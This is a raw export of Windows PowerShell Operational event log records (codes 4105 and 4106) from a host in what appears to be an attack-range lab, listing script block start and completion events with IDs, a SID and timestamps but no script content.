Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045760
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045743
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045737
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045715
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045713
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045712
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
